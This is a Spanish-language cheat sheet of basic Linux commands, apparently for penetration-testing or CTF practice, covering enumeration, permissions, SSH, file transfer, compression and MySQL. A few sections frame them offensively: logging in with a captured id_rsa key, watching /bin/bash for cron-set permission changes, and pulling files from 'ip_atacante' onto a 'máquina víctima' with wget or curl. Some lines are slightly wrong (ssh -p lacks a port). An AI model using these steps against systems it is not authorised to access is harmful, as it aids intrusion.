1 Comandos Básicos

Indice #

Recolectar información #

* uname -r -a (system y kernel)
* hostname
* hostname -I (IP)
* arp -a (tabla arp)
* whoami (usuario actual)
* id (grupo al que pertenece usuario actual)
* ps -aux (procesos)
* top (procesos en tiempo real)
* bg (ver procesos en 2º plano)
* pwd (ver directorio en el que estamos situados)
* last (ultimos logins)
* df -h (ver espacio libre en el sistema)
* fdisk -l (ver particiones y tipos)
* watch ls -la /bin/bash (ver si un binario cambia sus permisos cuando hay una tarea cron para ello)

usuarios y grupos #

* groupadd [grupo]
* adduser [usuario]
* usermod [usuario]
  * -d [directorio] (especificar home)
  * -g [grupo] (especificar grupo)
  * -p [pass] (especificar contraseña)
  * -s [shell] (especificar la shell)
  * -m [directorio] (mover directorio home) (solo se puede usar con -d)

Ficheros #

* cd [directorio] (cambiar directorio)
* ls [directorio] (listar directorio)
  * -l (formato largo)
  * -a (archivos ocultos)
  * -R (listado recursivo)
* tree (ver arbol de ficheros)
* mv [fichero] (mover, renombrar)
* cp [fichero1] [fichero2] (copiar)
* rm [fichero] (eliminar)
  * -r (recursivamente)
  * -f (forzar)
* ln -s [fichero] [enlace] (link simbolico)

Permisos en ficheros #

* chmod 755 [fichero] (todos al propietario, leer al resto)
* chown [usuario] [fichero] (cambiar propietario)
* chown [usuario]:[grupo] [fichero] (cambiar propietario y grupo)
* chgrp [grupo] [fichero] (cambiar grupo a un fichero)

Stdin | Stdout | Stdr #

0, hace referencia a la entrada (teclado) 1, hace referencia a la salida (pantalla) 2, hace referencia a la salida (errores)

* [comando] 2>/dev/null (enviar errores a dev/null)
* [comando ]&>/dev/null (enviar todo a dev/null, tanto salida como errores)
* [comando2] >&1 (enviar errores a pantalla [cuando se ejecuta programa en segundo plano])
* [comando] & (ejecutar en 2º plano)
* nohup [comando] & (ejecutar en 2º plano)
* [comando] & disown (ejecutar en 2º plano, independiente del proceso padre)

Variables Bash y alias #

  • $HOME
  • $BASH
  • $SHELL
  • export $NAME=value (establece la variable de entorno al valor indicado)
  • alias [alias]=[comando] (establecer un alias al comando)

Concatenacion #

* comando1 ; comando2 (ejecuta el primer comando, luego el segundo)
* comando1 && comando2 (ejecuta el segundo, solo si el primero es exitoso)
* comando1 || comando2 (or, ejecuta el comando2 si el primero no es exitoso)
* comando1 | comando2 (envia la salida el primero, al segundo)
* comando1 |& comando2 (envia erroes del comando1 al comando2)

Búsqueda #

* grep [palabra](buscar lineas en fichero)
* find (buscar ficheros)
  * -name
* whereis [programa](encontrar binario)
* which [programa](como whereis)
* locate -i [directorio opcional] [name] (encontrar ficheros rapidamente)
* head [fichero] (primeras 10 lineas fichero)
* tail [fichero] (10 ultimas)
* awk '[patron] {print $numero}' [fichero] (buscar lineas que coinciden con patron)
  • EJEMPLO mas útil: ps | awk -F “:” ‘{print $2}’ (muestra la segunda columna del resultado del comando ps cuyo delimitador sea ‘:’)

Compresion ficheros #

* tar -cf [file.tar] [file](comprimir)
* tar -xf [file.tar ](descomprimir)

conexion SSH #

* ssh user@host
* ssh -p user@host (indicar puerto)

Conexion SSH con id_rsa #

Teniendo el fichero id_rsa del usuario podemos realizar una conexión. En ocasiones no necesitamos contraseña. En caso de que sí, se puede intentar crackear con Ataques fuerza bruta
Importante CAMBIAR LOS PEEMISOS A 600

chmod 600 id_rsa
ssh <usuario>@<ip> -i id_rsa

Copiar ficheros con SSH por SCP #

scp <origen> <destino>
"SUBIR FICHEROS" scp /home/kali/file.txt usuario@servidor:/ruta
"DESCARGAR FICHEROS" scp usuario@servidor:/file.txt /home/kali.file.txt

Networking #

* ip addr show (ver ip)
* ifconfig (ver todas las interfaces)
* netstat (ver puertos a la escucha)
* wget [url] (descargar fichero desde url)
* curl -O (igual que wget)

Compartir ficheros entre maquinas #

Podemos compartir ficheros con la máquina víctima montando un servidor http en python. Para ello nos posicionamos en la ruta donde tengamos el fichero y ejecutamos

python3 -m http.server 5000

El puerto 80 en ocasiones requiere permisos de root

desde la máquina víctima hacemos:

wget <http://ip_atacante/recurso>

otra opción sería

curl <http://ip_atacante/recurso> -o recurso

FTP #

ftp <ip>
ftp user@ip
get <fichero>
mget *
put <fichero>

Compresion/Descompresion de ficheros #

TAR #

tar -xf fichero.tar "DESCOMPRIMIR"
tar -xzf archivo.tar.gz "DESCOMPRIMIR tar.gz"
tar -cf fichero.tar fichero_a_comprimir.txt "COMPRIMIR"
tar -cf fichero.tar fichero_a_comprimir1.txt fichero_a_comprimir2.txt "COMPRIMIR VARIOS"

GZIP #

gzip -c documento.txt > comprimido.gz "COMPRIMIR"
gzip -d documento.gz "DESCOMPRIMIR"
gunzip documento.gz "DESCOMPRIMIR"

Regex (Expresiones regulares) #

#Sustitución de caracteres
tr '\' ' '

#Eliminacion caracteres
tr -d ' ' 

#Seleccion de culumnas
EJ: imprimir columna 2
awk '{print $2}'

#Mostrar lineas distintas de
grep -v <palabra>

#No distinguir mayusculas de minusculas
grep -i

#Encontrar palabra en conjunto de archivos
grep -l <palabra> ./*

#Invertir lineas en un fichero
tac <fichero_original> >> <fichero_destino>

# Tratamiento con sed (p.e eliminar la ultima coma de una linea)
	#EXPLICACION: "s" es pra sustitución
	# ,$ hace referencia a la ultima coma
	# \n hace referencia a un salto de linea
	# hay que separar los argumentos con una "/" SIEMPRE
sed 's/,$/\n/'

SQL #

# Conexion a base de datos MYSQL, ojo a como está la contraseña, no es un error. la clave va pegada al -p.

mysql -h <ip> -u <usuario> -p<contraseña>

# Ver bases de datos
show databases;

# utilizar una base de datos
use <bbdd>;

# Ver tablas de una base de datos
show tables;

# Sentencias SQL básicas
SELECT <columna/s> FROM <tabla>;
SELECT <columna/s> FROM <tabla> WHERE id=1;